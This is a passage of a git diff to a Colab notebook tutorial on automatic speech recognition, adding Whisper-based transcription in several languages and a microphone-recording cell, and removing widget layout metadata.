+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "aK7gu9L1sNJh",
+        "outputId": "9e66ff70-dc26-4de8-da20-d0598c7c0f21"
+      },
+      "outputs": [
+        {
+          "data": {
+            "text/plain": [
+              "['<|startoftranscript|><|en|><|transcribe|><|notimestamps|> and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.<|endoftext|>']"
+            ]
+          },
+          "execution_count": 18,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False)\n",
+        "transcription"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 19,
+      "metadata": {
+        "id": "V1MIY7i37bg5"
+      },
+      "outputs": [],
+      "source": [
+        "def get_transcription_whisper(audio_path, model, processor, language=\"english\", skip_special_tokens=True):\n",
+        "  # resample from whatever the audio sampling rate to 16000\n",
+        "  speech = load_audio(audio_path)\n",
+        "  input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000).input_features.to(device)\n",
+        "  forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task=\"transcribe\")\n",
+        "  # print(forced_decoder_ids)\n",
+        "  predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n",
+        "  transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]\n",
+        "  return transcription"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 103,
+      "execution_count": null,
       "metadata": {
         "colab": {
           "base_uri": "https://localhost:8080/",
-          "height": 102
+          "height": 35
         },
-        "id": "HPJwZgYh7Ph3",
-        "outputId": "71d2008a-a94e-4b66-c501-27034e50c0d7"
+        "id": "04bekvh4GEQN",
+        "outputId": "1edc0912-de09-4a69-b8c4-ca3fb7130c28"
       },
       "outputs": [
         {
@@ -603,1713 +551,393 @@
               "type": "string"
             },
             "text/plain": [
-              "\"albertanstein was a german born theoretical physicist widely acknowledged to be one of the greatest physicists of all time anstein is best known for developing the theory of relativity but he also made important contributions to the development of the theory of quanto mechanics relativity and quantom mechanics are together the two pillars of modern physics his mass energy equivalent formula e equals m c squared which arises from relativity theory has been dubbed the world's most famous equation his work is also known for its influence on the philosophy of science he received the one thousand nineteen twenty one noble prize in physics for his serv\""
+              "' ورجح التقرير الذي أعده معهد أبحاث هضبة التبت في الأكاديمية الصينية للعلوم أن تستمر درجات الحرارة ومستويات الرتوبة في الارتفاع طوال هذا القرن.'"
             ]
           },
-          "execution_count": 103,
+          "execution_count": 23,
           "metadata": {},
           "output_type": "execute_result"
         }
       ],
       "source": [
-        "get_transcription(\"recorded.wav\")"
+        "arabic_transcription = get_transcription_whisper(\"https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav/",\n",
+        "                          whisper_model,\n",
+        "                          whisper_processor,\n",
+        "                          language=\"arabic\",\n",
+        "                          skip_special_tokens=True)\n",
+        "arabic_transcription"
       ]
     },
     {
       "cell_type": "code",
       "execution_count": null,
       "metadata": {
-        "id": "-AWFT-oZPcFs"
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 35
+        },
+        "id": "FAHA98CgHols",
+        "outputId": "7ea44035-e008-4ff2-9727-46706e725f73"
       },
-      "outputs": [],
-      "source": []
-    }
-  ],
-  "metadata": {
-    "colab": {
-      "machine_shape": "hm",
-      "name": "AutomaticSpeechRecognition-PythonCodeTutorial.ipynb",
-      "provenance": []
-    },
-    "kernelspec": {
-      "display_name": "Python 3",
-      "name": "python3"
-    },
-    "language_info": {
-      "codemirror_mode": {
-        "name": "ipython",
-        "version": 3
+      "outputs": [
+        {
+          "data": {
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "string"
+            },
+            "text/plain": [
+              "' ¿Cuál es la fecha de tu cumpleaños?'"
+            ]
+          },
+          "execution_count": 24,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "spanish_transcription = get_transcription_whisper(\"https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3/",\n",
+        "                          whisper_model,\n",
+        "                          whisper_processor,\n",
+        "                          language=\"spanish\",\n",
+        "                          skip_special_tokens=True)\n",
+        "spanish_transcription"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "QTZlrT-B21VC"
       },
-      "file_extension": ".py",
-      "mimetype": "text/x-python",
-      "name": "python",
-      "nbconvert_exporter": "python",
-      "pygments_lexer": "ipython3",
-      "version": "3.8.7"
+      "outputs": [],
+      "source": [
+        "from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE \n",
+        "# supported languages\n",
+        "TO_LANGUAGE_CODE "
+      ]
     },
-    "widgets": {
-      "application/vnd.jupyter.widget-state+json": {
-        "04614cbf754241899b0d8513e23851ed": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "6cZZ7MeTUv0S"
+      },
+      "source": [
+        "# Transcribe your Voice"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
         },
-        "0489efb30abc428582a028a93d228ed5": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
+        "id": "3FdjIsOlKBRJ",
+        "outputId": "5df28a41-0943-4d6f-c7b3-446b26c9c906"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "/content/silero-models\n"
+          ]
+        }
+      ],
+      "source": [
+        "!git clone -q --depth 1 https://github.com/snakers4/silero-models\n",
+        "\n",
+        "%cd silero-models"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 110,
+          "referenced_widgets": [
+            "1c348712a37045239a35b41430756d4d",
+            "32d1d0fb4ee748108d01fa01fbfb5473",
+            "8035a1813fce41cfad51849aea43a446"
+          ]
         },
-        "11581f616a1547e4af2fa8059361e120": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HTMLModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HTMLModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HTMLView",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_ea67e226c77847aeb178f6d030a4b26e",
-            "placeholder": "​",
-            "style": "IPY_MODEL_ac569cb10d074b6da5033b8b3b34c731",
-            "value": " 162/162 [00:00&lt;00:00, 5.39kB/s]"
-          }
+        "id": "GZTvRVznIcn_",
+        "outputId": "f1772b6a-6eaa-4c4e-fbaa-ccdbad8ea2c7"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Starting recording for 20 seconds...\n"
+          ]
         },
-        "12b41877be1d410dbd44c54b4dfa21b1": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HTMLModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HTMLModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HTMLView",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_fb5bf22faf6348819bf9bd484dbf05e2",
-            "placeholder": "​",
-            "style": "IPY_MODEL_4133b4fc83b64cd5918400a2541c11ad",
-            "value": "Downloading: 100%"
-          }
+        {
+          "data": {
+            "application/javascript": "\n      const sleep  = time => new Promise(resolve => setTimeout(resolve, time))\n      const b2text = blob => new Promise(resolve => {\n        const reader = new FileReader()\n        reader.onloadend = e => resolve(e.srcElement.result)\n        reader.readAsDataURL(blob)\n      })\n      var record = time => new Promise(async resolve => {\n        stream = await navigator.mediaDevices.getUserMedia({ audio: true })\n        recorder = new MediaRecorder(stream)\n        chunks = []\n        recorder.ondataavailable = e => chunks.push(e.data)\n        recorder.start()\n        await sleep(time)\n        recorder.onstop = async ()=>{\n          blob = new Blob(chunks)\n          text = await b2text(blob)\n          resolve(text)\n        }\n        recorder.stop()\n      })\n      ",
+            "text/plain": [
+              "<IPython.core.display.Javascript object>"
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
         },
-        "15b1685016ea4c27af7a73ca31e54504": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "ButtonModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "ButtonModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "ButtonView",
-            "button_style": "",
-            "description": "Record Speech",
-            "disabled": false,
-            "icon": "",
-            "layout": "IPY_MODEL_9fe212aa47694fc2a87c9f59561fa2d4",
-            "style": "IPY_MODEL_d65226b4aaf04587990ff1b05bc837c6",
-            "tooltip": ""
-          }
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Finished recording!\n"
+          ]
         },
-        "1a3c25f5cf92427eaddec3acf849f04b": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
-        },
-        "24690773f20c4f1a917b0e847c254423": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
-        },
-        "249faed19a95434ba146a227a0f14dba": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "FloatProgressModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "FloatProgressModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "ProgressView",
-            "bar_style": "success",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_04614cbf754241899b0d8513e23851ed",
-            "max": 1606,
-            "min": 0,
-            "orientation": "horizontal",
-            "style": "IPY_MODEL_3ac0ec899a3d46fc85fa634326665e1b",
-            "value": 1606
-          }
-        },
-        "25d85c7ae4db4347a0563773aca93fe8": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "DescriptionStyleModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "DescriptionStyleModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "StyleView",
-            "description_width": ""
-          }
-        },
-        "29f9a88a8b9741ba9f656e88be31b67f": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "FloatProgressModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "FloatProgressModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "ProgressView",
-            "bar_style": "success",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_7af8e7f6e148418f880e86685f65acaf",
-            "max": 85,
-            "min": 0,
-            "orientation": "horizontal",
-            "style": "IPY_MODEL_39bcdcc9f44949889ab68ea961bc9cbf",
-            "value": 85
-          }
-        },
-        "2c5a040ed23740f189c0d729386c1b71": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
-        },
-        "39bcdcc9f44949889ab68ea961bc9cbf": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "ProgressStyleModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "ProgressStyleModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "StyleView",
-            "bar_color": null,
-            "description_width": ""
-          }
-        },
-        "3ac0ec899a3d46fc85fa634326665e1b": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "ProgressStyleModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "ProgressStyleModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "StyleView",
-            "bar_color": null,
-            "description_width": ""
-          }
-        },
-        "3b08026412914f058ceccad5ca69ab9e": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "FloatProgressModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "FloatProgressModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "ProgressView",
-            "bar_style": "success",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_2c5a040ed23740f189c0d729386c1b71",
-            "max": 162,
-            "min": 0,
-            "orientation": "horizontal",
-            "style": "IPY_MODEL_eabcbeba261740e08f09cc1513b337ad",
-            "value": 162
-          }
-        },
-        "3b2c2a7b03fb4b64857ef1da1cff90ec": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HTMLModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HTMLModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HTMLView",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_524e25298b9944a0b27ee4ebe8a5526e",
-            "placeholder": "​",
-            "style": "IPY_MODEL_25d85c7ae4db4347a0563773aca93fe8",
-            "value": " 85.0/85.0 [00:00&lt;00:00, 2.81kB/s]"
-          }
-        },
-        "4133b4fc83b64cd5918400a2541c11ad": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "DescriptionStyleModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "DescriptionStyleModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "StyleView",
-            "description_width": ""
-          }
-        },
-        "42675b60ec444fa393f48779f6a5fc59": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
-        },
-        "444cd62dd6f345d9a714085ea14c1682": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HBoxModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HBoxModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HBoxView",
-            "box_style": "",
-            "children": [
-              "IPY_MODEL_66c8cada44244df18c473fd868ea0a8a",
-              "IPY_MODEL_5f55acf0d5ce40279d21e48b5ac4345c",
-              "IPY_MODEL_f69d665f4fcc401397d0091dc425b001"
-            ],
-            "layout": "IPY_MODEL_ca8a8d5d3e2a42638f1b68050fcce963"
-          }
-        },
-        "45eeb549b03649d9be138001aeb7843c": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HBoxModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HBoxModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HBoxView",
-            "box_style": "",
-            "children": [
-              "IPY_MODEL_dc7a3b598c4d45bd9b8d1239c33b510b",
-              "IPY_MODEL_de6abb9a77ca49549a873cdf65858cda",
-              "IPY_MODEL_60473b3b063141699845d72b877d752a"
-            ],
-            "layout": "IPY_MODEL_9b1de65486e5484eb61ba378e9e1cefa"
-          }
-        },
-        "4cdba09932964730b0917c67b10fb689": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
-        },
-        "524e25298b9944a0b27ee4ebe8a5526e": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
-        },
-        "59d686351f37454e96821ca29ceff7ee": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HTMLModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HTMLModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HTMLView",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_0489efb30abc428582a028a93d228ed5",
-            "placeholder": "​",
-            "style": "IPY_MODEL_72ebaf4b55314d599b8165f706a49230",
-            "value": " 1.57k/1.57k [00:00&lt;00:00, 47.9kB/s]"
-          }
-        },
-        "5f55acf0d5ce40279d21e48b5ac4345c": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "FloatProgressModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "FloatProgressModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "ProgressView",
-            "bar_style": "success",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_9f121c61473b4a8b8eeff16b4b6f9d5d",
-            "max": 1262055246,
-            "min": 0,
-            "orientation": "horizontal",
-            "style": "IPY_MODEL_dafb418d0995486cb4d3099d23ec67b8",
-            "value": 1262055246
-          }
-        },
-        "60473b3b063141699845d72b877d752a": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HTMLModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HTMLModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HTMLView",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_bd82c30b3a7c45b4af2a9064339fe84e",
-            "placeholder": "​",
-            "style": "IPY_MODEL_bd6cde59f35f4022ab7e9fc3f93104a9",
-            "value": " 291/291 [00:00&lt;00:00, 9.64kB/s]"
-          }
-        },
-        "66c8cada44244df18c473fd868ea0a8a": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HTMLModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HTMLModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HTMLView",
-            "description": "",
-            "description_tooltip": null,
-            "layout": "IPY_MODEL_eec27fed27e24c27be025c83d22b61cf",
-            "placeholder": "​",
-            "style": "IPY_MODEL_b5f26ca150b24c9e918a14acac198f54",
-            "value": "Downloading: 100%"
-          }
-        },
-        "675eefa2dbdc40e0a5a5517dc9eb00d6": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HBoxModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HBoxModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HBoxView",
-            "box_style": "",
-            "children": [
-              "IPY_MODEL_7172e9a2593b4210ba309e6bdb4dc187",
-              "IPY_MODEL_29f9a88a8b9741ba9f656e88be31b67f",
-              "IPY_MODEL_3b2c2a7b03fb4b64857ef1da1cff90ec"
-            ],
-            "layout": "IPY_MODEL_c32e11c41bb34c68a339e9ed9a713fbc"
-          }
-        },
-        "7172e9a2593b4210ba309e6bdb4dc187": {
-          "model_module": "@jupyter-widgets/controls",
